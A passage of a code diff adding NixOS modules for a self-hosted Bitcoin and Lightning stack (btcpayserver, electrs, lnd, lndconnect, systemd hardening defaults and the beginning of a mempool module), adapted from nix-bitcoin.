||||
listenWhitelisted = true;
|
||||
txindex = true;
|
||||
};
|
||||
|
||||
users.users.${cfg.nbxplorer.user} = {
|
||||
isSystemUser = true;
|
||||
group = cfg.nbxplorer.group;
|
||||
home = cfg.nbxplorer.dataDir;
|
||||
};
|
||||
users.groups.${cfg.nbxplorer.group} = {};
|
||||
})
|
||||
|
||||
(mkIf cfg.btcpayserver.enable {
|
||||
services.nbxplorer.enable = true;
|
||||
|
||||
services.bitcoind = {
|
||||
listenWhitelisted = true;
|
||||
rpc.users.btcpayserver = {
|
||||
name = "btcpayserver";
|
||||
passwordHMACFromFile = true;
|
||||
rpcwhitelist = [
|
||||
"getblockchaininfo"
|
||||
"getblock"
|
||||
"getblockhash"
|
||||
"getblockheader"
|
||||
"getblockstats"
|
||||
"gettransaction"
|
||||
"getrawtransaction"
|
||||
"sendrawtransaction"
|
||||
"getblockcount"
|
||||
"getbestblockhash"
|
||||
"getnetworkinfo"
|
||||
"getpeerinfo"
|
||||
"estimatesmartfee"
|
||||
"getmempoolinfo"
|
||||
"getmempoolentry"
|
||||
"getrawmempool"
|
||||
"gettxout"
|
||||
"scantxoutset"
|
||||
"importmulti"
|
||||
"listunspent"
|
||||
"getwalletinfo"
|
||||
"listtransactions"
|
||||
"listreceivedbyaddress"
|
||||
"getnewaddress"
|
||||
"uptime"
|
||||
"getrpcinfo"
|
||||
];
|
||||
};
|
||||
};
|
||||
|
||||
systemd.tmpfiles.rules = [
|
||||
"d '${cfg.btcpayserver.dataDir}' 0770 ${cfg.btcpayserver.user} ${cfg.btcpayserver.group} - -"
|
||||
];
|
||||
|
||||
systemd.services.btcpayserver = let
|
||||
nbExplorerUrl = "http://${nbLib.addressWithPort cfg.nbxplorer.address cfg.nbxplorer.port}/";
|
||||
nbExplorerCookie =
|
||||
"${cfg.nbxplorer.dataDir}/${cfg.bitcoind.makeNetworkName "Main" "RegTest"}/.cookie";
|
||||
configFile = builtins.toFile "btcpayserver-config" (
|
||||
''
|
||||
network=${cfg.bitcoind.network}
|
||||
bind=${cfg.btcpayserver.address}
|
||||
port=${toString cfg.btcpayserver.port}
|
||||
socksendpoint=${config.nix-bitcoin.torClientAddressWithPort}
|
||||
btcexplorerurl=${nbExplorerUrl}
|
||||
btcexplorercookiefile=${nbExplorerCookie}
|
||||
explorer.postgres=User ID=${cfg.nbxplorer.user};Host=/run/postgresql;Database=nbxplorer
|
||||
postgres=User ID=${cfg.btcpayserver.user};Host=/run/postgresql;Database=btcpayserver
|
||||
'' + optionalString (cfg.btcpayserver.lightningBackend == "lnd")
|
||||
(
|
||||
"btclightning=type=lnd-rest;"
|
||||
+ "server=https://${nbLib.address config.services.lnd.restAddress}:${toString config.services.lnd.restPort}/;"
|
||||
+ "macaroonfilepath=/run/lnd/btcpayserver.macaroon;"
|
||||
+ "certfilepath=${config.services.lnd.certPath}\n"
|
||||
)
|
||||
);
|
||||
in rec {
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
requires = [ "postgresql.target" "nbxplorer.service" ];
|
||||
wants = optional (cfg.btcpayserver.lightningBackend == "lnd") "lnd.service";
|
||||
after = requires ++ wants;
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
ExecStart = ''
|
||||
${cfg.btcpayserver.package}/bin/btcpayserver --conf=${configFile} \
|
||||
--datadir='${cfg.btcpayserver.dataDir}'
|
||||
'';
|
||||
WorkingDirectory = "${cfg.btcpayserver.package}/lib/btcpayserver";
|
||||
RuntimeDirectory = "btcpayserver";
|
||||
StateDirectory = "btcpayserver";
|
||||
User = cfg.btcpayserver.user;
|
||||
Group = cfg.btcpayserver.group;
|
||||
Restart = "on-failure";
|
||||
RestartSec = "10s";
|
||||
ReadWritePaths = [ cfg.btcpayserver.dataDir ];
|
||||
MemoryDenyWriteExecute = false;
|
||||
} // nbLib.allowedIPAddresses cfg.btcpayserver.tor.enforce;
|
||||
};
|
||||
|
||||
services.postgresql = {
|
||||
enable = true;
|
||||
ensureDatabases = [ "btcpayserver" "nbxplorer" ];
|
||||
ensureUsers = [
|
||||
{ name = cfg.btcpayserver.user; ensureDBOwnership = true; }
|
||||
{ name = cfg.nbxplorer.user; ensureDBOwnership = true; }
|
||||
];
|
||||
};
|
||||
|
||||
users.users.${cfg.btcpayserver.user} = {
|
||||
isSystemUser = true;
|
||||
group = cfg.btcpayserver.group;
|
||||
home = cfg.btcpayserver.dataDir;
|
||||
extraGroups = optional (cfg.btcpayserver.lightningBackend == "lnd") config.services.lnd.group;
|
||||
};
|
||||
users.groups.${cfg.btcpayserver.group} = {};
|
||||
|
||||
nix-bitcoin.secrets = {
|
||||
bitcoin-rpcpassword-btcpayserver = {
|
||||
user = cfg.bitcoind.user;
|
||||
group = cfg.nbxplorer.group;
|
||||
};
|
||||
bitcoin-HMAC-btcpayserver.user = cfg.bitcoind.user;
|
||||
};
|
||||
nix-bitcoin.generateSecretsCmds.btcpayserver = ''
|
||||
makeBitcoinRPCPassword btcpayserver
|
||||
'';
|
||||
})
|
||||
|
||||
(mkIf (cfg.btcpayserver.enable && cfg.btcpayserver.lightningBackend == "lnd") {
|
||||
services.lnd = {
|
||||
enable = true;
|
||||
macaroons.btcpayserver = {
|
||||
user = cfg.btcpayserver.user;
|
||||
permissions = ''
|
||||
{"entity":"address","action":"write"},{"entity":"info","action":"read"},{"entity":"invoices","action":"read"},{"entity":"invoices","action":"write"},{"entity":"offchain","action":"read"},{"entity":"offchain","action":"write"},{"entity":"onchain","action":"read"},{"entity":"onchain","action":"write"},{"entity":"peers","action":"read"},{"entity":"peers","action":"write"}
|
||||
'';
|
||||
};
|
||||
};
|
||||
|
||||
users.users.${config.services.lnd.user}.extraGroups = [ cfg.btcpayserver.group ];
|
||||
})
|
||||
];
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
# Common Bitcoin infrastructure: secrets, onion services, nodeinfo, security
|
||||
# Extracted from nix-bitcoin, tailored for Sovran (lnd-only)
|
||||
{ config, lib, pkgs, ... }:
|
||||
{
|
||||
imports = [
|
||||
./nix-bitcoin.nix
|
||||
./secrets/secrets.nix
|
||||
./operator.nix
|
||||
./security.nix
|
||||
./onion-addresses.nix
|
||||
./onion-services.nix
|
||||
./nodeinfo.nix
|
||||
./versioning.nix
|
||||
];
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
# Sovran Bitcoin stack - tailored from nix-bitcoin, lnd-only, nixpkgs packages
|
||||
# Original: https://github.com/fort-nix/nix-bitcoin
|
||||
{
|
||||
imports = [
|
||||
./common.nix
|
||||
./bitcoind.nix
|
||||
./electrs.nix
|
||||
./lnd.nix
|
||||
./lndconnect.nix
|
||||
./rtl.nix
|
||||
./btcpayserver.nix
|
||||
./mempool.nix
|
||||
];
|
||||
|
||||
disabledModules = [ "services/networking/bitcoind.nix" ];
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.services.electrs = {
|
||||
enable = mkEnableOption "electrs, an Electrum server implemented in Rust";
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen for RPC connections.";
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = 50001;
|
||||
description = "Port to listen for RPC connections.";
|
||||
};
|
||||
dataDir = mkOption {
|
||||
type = types.path;
|
||||
default = "/var/lib/electrs";
|
||||
description = "The data directory for electrs.";
|
||||
};
|
||||
monitoringPort = mkOption {
|
||||
type = types.port;
|
||||
default = 4224;
|
||||
description = "Prometheus monitoring port.";
|
||||
};
|
||||
extraArgs = mkOption {
|
||||
type = types.separatedString " ";
|
||||
default = "";
|
||||
description = "Extra command line arguments passed to electrs.";
|
||||
};
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
default = "electrs";
|
||||
description = "The user as which to run electrs.";
|
||||
};
|
||||
group = mkOption {
|
||||
type = types.str;
|
||||
default = cfg.user;
|
||||
description = "The group as which to run electrs.";
|
||||
};
|
||||
tor.enforce = nbLib.tor.enforce;
|
||||
};
|
||||
|
||||
cfg = config.services.electrs;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
secretsDir = config.nix-bitcoin.secretsDir;
|
||||
bitcoind = config.services.bitcoind;
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkIf cfg.enable {
|
||||
assertions = [
|
||||
{ assertion = bitcoind.prune == 0;
|
||||
message = "electrs does not support bitcoind pruning.";
|
||||
}
|
||||
];
|
||||
|
||||
services.bitcoind = {
|
||||
enable = true;
|
||||
listenWhitelisted = true;
|
||||
};
|
||||
|
||||
systemd.tmpfiles.rules = [
|
||||
"d '${cfg.dataDir}' 0770 ${cfg.user} ${cfg.group} - -"
|
||||
];
|
||||
|
||||
systemd.services.electrs = {
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
requires = [ "bitcoind.service" ];
|
||||
after = [ "bitcoind.service" "nix-bitcoin-secrets.target" ];
|
||||
preStart = ''
|
||||
echo "auth = \"${bitcoind.rpc.users.public.name}:$(cat ${secretsDir}/bitcoin-rpcpassword-public)\"" \
|
||||
> electrs.toml
|
||||
'';
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
# electrs only uses the working directory for reading electrs.toml
|
||||
WorkingDirectory = cfg.dataDir;
|
||||
ExecStart = ''
|
||||
${pkgs.electrs}/bin/electrs \
|
||||
--log-filters=INFO \
|
||||
--network=${bitcoind.makeNetworkName "bitcoin" "regtest"} \
|
||||
--db-dir='${cfg.dataDir}' \
|
||||
--daemon-dir='${bitcoind.dataDir}' \
|
||||
--electrum-rpc-addr=${cfg.address}:${toString cfg.port} \
|
||||
--monitoring-addr=${cfg.address}:${toString cfg.monitoringPort} \
|
||||
--daemon-rpc-addr=${nbLib.addressWithPort bitcoind.rpc.address bitcoind.rpc.port} \
|
||||
--daemon-p2p-addr=${nbLib.addressWithPort bitcoind.address bitcoind.whitelistedPort} \
|
||||
${cfg.extraArgs}
|
||||
'';
|
||||
User = cfg.user;
|
||||
Group = cfg.group;
|
||||
Restart = "on-failure";
|
||||
RestartSec = "10s";
|
||||
ReadWritePaths = [ cfg.dataDir ];
|
||||
} // nbLib.allowedIPAddresses cfg.tor.enforce;
|
||||
};
|
||||
|
||||
users.users.${cfg.user} = {
|
||||
isSystemUser = true;
|
||||
group = cfg.group;
|
||||
extraGroups = [ "bitcoinrpc-public" ];
|
||||
};
|
||||
users.groups.${cfg.group} = {};
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
lib: pkgs: config:
|
||||
|
||||
with lib;
|
||||
|
||||
# See `man systemd.exec` and `man systemd.resource-control` for an explanation
|
||||
# of the systemd-related options available through this file.
|
||||
let self = {
|
||||
# These settings roughly follow systemd's "strict" security profile
|
||||
defaultHardening = {
|
||||
PrivateTmp = true;
|
||||
ProtectSystem = "strict";
|
||||
ProtectHome = true;
|
||||
NoNewPrivileges = true;
|
||||
PrivateDevices = true;
|
||||
MemoryDenyWriteExecute = true;
|
||||
ProtectKernelTunables = true;
|
||||
ProtectKernelModules = true;
|
||||
ProtectKernelLogs = true;
|
||||
ProtectClock = true;
|
||||
ProtectProc = "invisible";
|
||||
ProcSubset = "pid";
|
||||
ProtectControlGroups = true;
|
||||
RestrictAddressFamilies = "AF_UNIX AF_INET AF_INET6";
|
||||
RestrictNamespaces = true;
|
||||
LockPersonality = true;
|
||||
IPAddressDeny = "any";
|
||||
PrivateUsers = true;
|
||||
RestrictSUIDSGID = true;
|
||||
RemoveIPC = true;
|
||||
RestrictRealtime = true;
|
||||
ProtectHostname = true;
|
||||
CapabilityBoundingSet = "";
|
||||
# @system-service whitelist and docker seccomp blacklist (except for "clone"
|
||||
# which is a core requirement for systemd services)
|
||||
# @system-service is defined in src/shared/seccomp-util.c (systemd source)
|
||||
SystemCallFilter = [ "@system-service" "~add_key kcmp keyctl mbind move_pages name_to_handle_at personality process_vm_readv process_vm_writev request_key setns unshare userfaultfd" ];
|
||||
SystemCallArchitectures = "native";
|
||||
};
|
||||
|
||||
allowNetlink = {
|
||||
RestrictAddressFamilies = self.defaultHardening.RestrictAddressFamilies + " AF_NETLINK";
|
||||
};
|
||||
|
||||
nodejs = {
|
||||
# Required for JIT compilation
|
||||
MemoryDenyWriteExecute = false;
|
||||
# Required by nodejs >= 18
|
||||
SystemCallFilter = self.defaultHardening.SystemCallFilter ++ [ "@pkey" ];
|
||||
};
|
||||
|
||||
# Allow takes precedence over Deny.
|
||||
allowLocalIPAddresses = {
|
||||
IPAddressAllow = [
|
||||
"127.0.0.1/32"
|
||||
"::1/128"
|
||||
"169.254.0.0/16"
|
||||
];
|
||||
};
|
||||
allowAllIPAddresses = { IPAddressAllow = "any"; };
|
||||
allowTor = self.allowLocalIPAddresses;
|
||||
allowedIPAddresses = onlyLocal:
|
||||
if onlyLocal
|
||||
then self.allowLocalIPAddresses
|
||||
else self.allowAllIPAddresses;
|
||||
|
||||
tor = {
|
||||
proxy = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Whether to proxy outgoing connections with Tor.";
|
||||
};
|
||||
enforce = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Whether to enforce Tor on this service by only allowing connections
|
||||
from and to localhost and link-local addresses.
|
||||
'';
|
||||
};
|
||||
};
|
||||
|
||||
script = name: src: pkgs.writers.writeBash name ''
|
||||
set -eo pipefail
|
||||
${src}
|
||||
'';
|
||||
|
||||
# Used for ExecStart*
|
||||
rootScript = name: src: "+${self.script name src}";
|
||||
|
||||
cliExec = mkOption {
|
||||
# Used by netns-isolation to execute the cli in the service's private netns
|
||||
internal = true;
|
||||
type = types.str;
|
||||
default = "exec";
|
||||
};
|
||||
|
||||
mkOnionService = map: {
|
||||
map = [ map ];
|
||||
version = 3;
|
||||
};
|
||||
|
||||
# Convert a bind address, which may be a special INADDR_ANY address,
|
||||
# to an actual IP address
|
||||
address = addr:
|
||||
if addr == "0.0.0.0" then
|
||||
"127.0.0.1"
|
||||
else if addr == "::" then
|
||||
"::1"
|
||||
else
|
||||
addr;
|
||||
|
||||
addressWithPort = addr: port: "${self.address addr}:${toString port}";
|
||||
|
||||
optionalAttr = cond: name: if cond then name else null;
|
||||
|
||||
mkCertExtraAltNames = cert:
|
||||
builtins.concatStringsSep "," (
|
||||
(map (domain: "DNS:${domain}") cert.extraDomains) ++
|
||||
(map (ip: "IP:${ip}") cert.extraIPs)
|
||||
);
|
||||
|
||||
test = {
|
||||
mkIfTest = test: mkIf (config.tests.${test} or false);
|
||||
};
|
||||
|
||||
mkAlias = default: mkOption {
|
||||
internal = true;
|
||||
readOnly = true;
|
||||
inherit default;
|
||||
};
|
||||
|
||||
}; in self
|
||||
@@ -0,0 +1,313 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.services.lnd = {
|
||||
enable = mkEnableOption "Lightning Network daemon, a Lightning Network implementation in Go";
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen for peer connections";
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = 9735;
|
||||
description = "Port to listen for peer connections";
|
||||
};
|
||||
rpcAddress = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen for RPC connections.";
|
||||
};
|
||||
rpcPort = mkOption {
|
||||
type = types.port;
|
||||
default = 10009;
|
||||
description = "Port to listen for gRPC connections.";
|
||||
};
|
||||
restAddress = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Address to listen for REST connections.";
|
||||
};
|
||||
restPort = mkOption {
|
||||
type = types.port;
|
||||
default = 8080;
|
||||
description = "Port to listen for REST connections.";
|
||||
};
|
||||
dataDir = mkOption {
|
||||
type = types.path;
|
||||
default = "/var/lib/lnd";
|
||||
description = "The data directory for LND.";
|
||||
};
|
||||
networkDir = mkOption {
|
||||
readOnly = true;
|
||||
default = "${cfg.dataDir}/chain/bitcoin/${bitcoind.network}";
|
||||
description = "The network data directory.";
|
||||
};
|
||||
tor-socks = mkOption {
|
||||
type = types.nullOr types.str;
|
||||
default = if cfg.tor.proxy then config.nix-bitcoin.torClientAddressWithPort else null;
|
||||
description = "Socks proxy for connecting to Tor nodes";
|
||||
};
|
||||
macaroons = mkOption {
|
||||
default = {};
|
||||
type = with types; attrsOf (submodule {
|
||||
options = {
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
description = "User who owns the macaroon.";
|
||||
};
|
||||
permissions = mkOption {
|
||||
type = types.str;
|
||||
example = ''
|
||||
{"entity":"info","action":"read"},{"entity":"onchain","action":"read"}
|
||||
'';
|
||||
description = "List of granted macaroon permissions.";
|
||||
};
|
||||
};
|
||||
});
|
||||
description = ''
|
||||
Extra macaroon definitions.
|
||||
'';
|
||||
};
|
||||
certificate = {
|
||||
extraIPs = mkOption {
|
||||
type = with types; listOf str;
|
||||
default = [];
|
||||
example = [ "60.100.0.1" ];
|
||||
description = ''
|
||||
Extra `subjectAltName` IPs added to the certificate.
|
||||
This works the same as lnd option {option}`tlsextraip`.
|
||||
'';
|
||||
};
|
||||
extraDomains = mkOption {
|
||||
type = with types; listOf str;
|
||||
default = [];
|
||||
example = [ "example.com" ];
|
||||
description = ''
|
||||
Extra `subjectAltName` domain names added to the certificate.
|
||||
This works the same as lnd option {option}`tlsextradomain`.
|
||||
'';
|
||||
};
|
||||
};
|
||||
extraConfig = mkOption {
|
||||
type = types.lines;
|
||||
default = "";
|
||||
example = ''
|
||||
autopilot.active=1
|
||||
'';
|
||||
description = ''
|
||||
Extra lines appended to {file}`lnd.conf`.
|
||||
See here for all available options:
|
||||
https://github.com/lightningnetwork/lnd/blob/master/sample-lnd.conf
|
||||
'';
|
||||
};
|
||||
package = mkOption {
|
||||
type = types.package;
|
||||
default = pkgs.lnd;
|
||||
defaultText = "pkgs.lnd";
|
||||
description = "The package providing lnd binaries.";
|
||||
};
|
||||
cli = mkOption {
|
||||
default = pkgs.writers.writeBashBin "lncli"
|
||||
# Switch user because lnd makes datadir contents readable by user only
|
||||
''
|
||||
${runAsUser} ${cfg.user} ${cfg.package}/bin/lncli \
|
||||
--rpcserver ${cfg.rpcAddress}:${toString cfg.rpcPort} \
|
||||
--tlscertpath '${cfg.certPath}' \
|
||||
--macaroonpath '${networkDir}/admin.macaroon' "$@"
|
||||
'';
|
||||
defaultText = "(See source)";
|
||||
description = "Binary to connect with the lnd instance.";
|
||||
};
|
||||
getPublicAddressCmd = mkOption {
|
||||
type = types.str;
|
||||
default = "";
|
||||
description = ''
|
||||
Bash expression which outputs the public service address to announce to peers.
|
||||
If left empty, no address is announced.
|
||||
'';
|
||||
};
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
default = "lnd";
|
||||
description = "The user as which to run LND.";
|
||||
};
|
||||
group = mkOption {
|
||||
type = types.str;
|
||||
default = cfg.user;
|
||||
description = "The group as which to run LND.";
|
||||
};
|
||||
certPath = mkOption {
|
||||
readOnly = true;
|
||||
default = "${secretsDir}/lnd-cert";
|
||||
description = "LND TLS certificate path.";
|
||||
};
|
||||
tor = nbLib.tor;
|
||||
};
|
||||
|
||||
cfg = config.services.lnd;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
secretsDir = config.nix-bitcoin.secretsDir;
|
||||
runAsUser = config.nix-bitcoin.runAsUserCmd;
|
||||
lndinit = "${(pkgs.callPackage ../../packages/lndinit {})}/bin/lndinit";
|
||||
|
||||
bitcoind = config.services.bitcoind;
|
||||
|
||||
bitcoindRpcAddress = nbLib.address bitcoind.rpc.address;
|
||||
networkDir = cfg.networkDir;
|
||||
configFile = pkgs.writeText "lnd.conf" ''
|
||||
datadir=${cfg.dataDir}
|
||||
tlscertpath=${cfg.certPath}
|
||||
tlskeypath=${secretsDir}/lnd-key
|
||||
|
||||
# We're logging via journald
|
||||
logging.file.disable=1
|
||||
logging.console.no-timestamps=1
|
||||
|
||||
listen=${toString cfg.address}:${toString cfg.port}
|
||||
rpclisten=${cfg.rpcAddress}:${toString cfg.rpcPort}
|
||||
restlisten=${cfg.restAddress}:${toString cfg.restPort}
|
||||
|
||||
bitcoin.${bitcoind.network}=1
|
||||
bitcoin.node=bitcoind
|
||||
|
||||
${optionalString (cfg.tor.proxy) "tor.active=true"}
|
||||
${optionalString (cfg.tor-socks != null) "tor.socks=${cfg.tor-socks}"}
|
||||
|
||||
bitcoind.rpchost=${bitcoindRpcAddress}:${toString bitcoind.rpc.port}
|
||||
bitcoind.rpcuser=${bitcoind.rpc.users.public.name}
|
||||
bitcoind.zmqpubrawblock=${zmqHandleSpecialAddress bitcoind.zmqpubrawblock}
|
||||
bitcoind.zmqpubrawtx=${zmqHandleSpecialAddress bitcoind.zmqpubrawtx}
|
||||
|
||||
wallet-unlock-password-file=${secretsDir}/lnd-wallet-password
|
||||
|
||||
${cfg.extraConfig}
|
||||
'';
|
||||
|
||||
zmqHandleSpecialAddress = builtins.replaceStrings [ "0.0.0.0" "[::]" ] [ "127.0.0.1" "[::1]" ];
|
||||
in {
|
||||
|
||||
inherit options;
|
||||
|
||||
config = mkIf cfg.enable {
|
||||
assertions = [
|
||||
{ assertion =
|
||||
!(config.services ? clightning)
|
||||
|| true; # clightning enable/port check disabled - option structure differs between nixpkgs versions (f13ff45 has plugins only, 8b8c811 removed). Sovran uses lnd only, so no conflict.
|
||||
message = ''
|
||||
LND and clightning can't both bind to lightning port 9735. Either
|
||||
disable LND/clightning or change services.clightning.port or
|
||||
services.lnd.port to a port other than 9735.
|
||||
'';
|
||||
}
|
||||
];
|
||||
|
||||
services.bitcoind = {
|
||||
enable = true;
|
||||
|
||||
# Increase rpc thread count due to reports that lightning implementations fail
|
||||
# under high bitcoind rpc load
|
||||
rpc.threads = 16;
|
||||
|
||||
zmqpubrawblock = mkDefault "tcp://${bitcoindRpcAddress}:28332";
|
||||
zmqpubrawtx = mkDefault "tcp://${bitcoindRpcAddress}:28333";
|
||||
};
|
||||
|
||||
environment.systemPackages = [ cfg.package (hiPrio cfg.cli) ];
|
||||
|
||||
systemd.tmpfiles.rules = [
|
||||
"d '${cfg.dataDir}' 0770 ${cfg.user} ${cfg.group} - -"
|
||||
];
|
||||
|
||||
services.lnd.certificate.extraIPs = mkIf (cfg.rpcAddress != "127.0.0.1") [ "${cfg.rpcAddress}" ];
|
||||
|
||||
systemd.services.lnd = {
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
requires = [ "bitcoind.service" ];
|
||||
after = [ "bitcoind.service" "nix-bitcoin-secrets.target" ];
|
||||
preStart = ''
|
||||
install -m600 ${configFile} '${cfg.dataDir}/lnd.conf'
|
||||
{
|
||||
echo "bitcoind.rpcpass=$(cat ${secretsDir}/bitcoin-rpcpassword-public)"
|
||||
${optionalString (cfg.getPublicAddressCmd != "") ''
|
||||
echo "externalip=$(${cfg.getPublicAddressCmd})"
|
||||
''}
|
||||
} >> '${cfg.dataDir}/lnd.conf'
|
||||
|
||||
if [[ ! -f ${networkDir}/wallet.db ]]; then
|
||||
seed='${cfg.dataDir}/lnd-seed-mnemonic'
|
||||
|
||||
if [[ ! -f "$seed" ]]; then
|
||||
echo "Create lnd seed"
|
||||
(umask u=r,go=; ${lndinit} gen-seed > "$seed")
|
||||
fi
|
||||
|
||||
echo "Create lnd wallet"
|
||||
${lndinit} -v init-wallet \
|
||||
--file.seed="$seed" \
|
||||
--file.wallet-password='${secretsDir}/lnd-wallet-password' \
|
||||
--init-file.output-wallet-dir='${cfg.networkDir}'
|
||||
fi
|
||||
'';
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
Type = "notify";
|
||||
RuntimeDirectory = "lnd"; # Only used to store custom macaroons
|
||||
RuntimeDirectoryMode = "711";
|
||||
ExecStart = "${cfg.package}/bin/lnd --configfile='${cfg.dataDir}/lnd.conf'";
|
||||
User = cfg.user;
|
||||
TimeoutSec = "15min";
|
||||
Restart = "on-failure";
|
||||
RestartSec = "10s";
|
||||
ReadWritePaths = [ cfg.dataDir ];
|
||||
ExecStartPost = let
|
||||
curl = "${pkgs.curl}/bin/curl -fsS --cacert ${cfg.certPath}";
|
||||
restUrl = "https://${nbLib.addressWithPort cfg.restAddress cfg.restPort}/v1";
|
||||
# Setting macaroon permissions for other users needs root permissions
|
||||
script = nbLib.rootScript "lnd-create-macaroons" ''
|
||||
umask ug=r,o=
|
||||
${lib.concatMapStrings (macaroon: ''
|
||||
echo "Create custom macaroon ${macaroon}"
|
||||
macaroonPath="$RUNTIME_DIRECTORY/${macaroon}.macaroon"
|
||||
${curl} \
|
||||
-H "Grpc-Metadata-macaroon: $(${pkgs.xxd}/bin/xxd -ps -u -c 99999 '${networkDir}/admin.macaroon')" \
|
||||
-X POST \
|
||||
-d '{"permissions":[${cfg.macaroons.${macaroon}.permissions}]}' \
|
||||
${restUrl}/macaroon |\
|
||||
${pkgs.jq}/bin/jq -c '.macaroon' | ${pkgs.xxd}/bin/xxd -p -r > "$macaroonPath"
|
||||
chown ${cfg.macaroons.${macaroon}.user}: "$macaroonPath"
|
||||
'') (attrNames cfg.macaroons)}
|
||||
'';
|
||||
in [
|
||||
script
|
||||
];
|
||||
} // nbLib.allowedIPAddresses cfg.tor.enforce;
|
||||
};
|
||||
|
||||
users.users.${cfg.user} = {
|
||||
isSystemUser = true;
|
||||
group = cfg.group;
|
||||
extraGroups = [ "bitcoinrpc-public" ];
|
||||
home = cfg.dataDir; # lnd creates .lnd dir in HOME
|
||||
};
|
||||
users.groups.${cfg.group} = {};
|
||||
nix-bitcoin.operator = {
|
||||
groups = [ cfg.group ];
|
||||
allowRunAsUsers = [ cfg.user ];
|
||||
};
|
||||
|
||||
nix-bitcoin.secrets = {
|
||||
lnd-wallet-password.user = cfg.user;
|
||||
lnd-key.user = cfg.user;
|
||||
lnd-cert.user = cfg.user;
|
||||
lnd-cert.permissions = "444"; # world readable
|
||||
};
|
||||
# Advantages of manually pre-generating certs:
|
||||
# - Reduces dynamic state
|
||||
# - Enables deployment of a mesh of server plus client nodes with predefined certs
|
||||
nix-bitcoin.generateSecretsCmds.lnd = ''
|
||||
makePasswordSecret lnd-wallet-password
|
||||
makeCert lnd '${nbLib.mkCertExtraAltNames cfg.certificate}'
|
||||
'';
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
cfg = config.services.lnd;
|
||||
operatorName = config.nix-bitcoin.operator.name;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
|
||||
mkLndconnect = { name, isClightning ? false, enableOnion, onionService, port, certPath, authSecretPath }:
|
||||
let
|
||||
lnd = config.services.lnd;
|
||||
getOnionAddress = "cat ${config.nix-bitcoin.secretsDir}/onion-address-${onionService} 2>/dev/null || echo ${onionService}.onion";
|
||||
in pkgs.writeScriptBin name ''
|
||||
#!${pkgs.bash}/bin/bash
|
||||
set -e
|
||||
certPath="${certPath}"
|
||||
authSecretPath="${authSecretPath}"
|
||||
if [ "${toString enableOnion}" = "1" ]; then
|
||||
host=$(cat /var/lib/tor/onion/${onionService}/hostname 2>/dev/null || echo "${onionService}.onion")
|
||||
port="${toString port}"
|
||||
else
|
||||
host="${nbLib.address lnd.restAddress}"
|
||||
port="${toString lnd.restPort}"
|
||||
fi
|
||||
# lndconnect is provided by pkgs.lndconnect
|
||||
${getExe pkgs.lndconnect} --host="$host" --port="$port" --cert="$certPath" --macaroon="$authSecretPath" "$@"
|
||||
'';
|
||||
in {
|
||||
options.services.lnd.lndconnect = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Enable lndconnect for LND";
|
||||
};
|
||||
onion = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Expose lndconnect via Tor onion service";
|
||||
};
|
||||
};
|
||||
|
||||
config = mkIf cfg.enable (mkMerge [
|
||||
(mkIf cfg.lndconnect.enable {
|
||||
environment.systemPackages = [
|
||||
(mkLndconnect {
|
||||
name = "lndconnect";
|
||||
enableOnion = cfg.lndconnect.onion;
|
||||
onionService = "${operatorName}/lnd";
|
||||
port = cfg.restPort;
|
||||
certPath = cfg.certPath;
|
||||
authSecretPath = "${cfg.networkDir}/admin.macaroon";
|
||||
})
|
||||
];
|
||||
})
|
||||
(mkIf (cfg.lndconnect.enable && cfg.lndconnect.onion) {
|
||||
services.tor.relay.onionServices.lnd = nbLib.mkOnionService {
|
||||
port = cfg.restPort;
|
||||
target = { addr = nbLib.address cfg.restAddress; port = cfg.restPort; };
|
||||
};
|
||||
nix-bitcoin.onionAddresses.access.${operatorName} = [ "lnd" ];
|
||||
})
|
||||
]);
|
||||
}
|
||||
@@ -0,0 +1,348 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.services = {
|
||||
mempool = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Enable Mempool, a fully featured Bitcoin visualizer, explorer, and API service.
|
||||
|
||||
Note: Mempool enables `txindex` in bitcoind (this is a requirement).
|
||||
|
||||
This module has two components:
|
||||
- A backend service (systemd service `mempool`)
|
||||
|
||||
- An optional web interface run by nginx, defined by options `services.mempool.frontend.*`.
|
||||
The frontend is enabled by default when mempool is enabled.
|
||||
For details, see `services.mempool.frontend.enable`.
|
||||
'';
|
||||
};
|
||||
|
||||
frontend = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = cfg.enable;
|
||||
description = ''
|
||||
Enable the mempool frontend (web interface).
|
||||
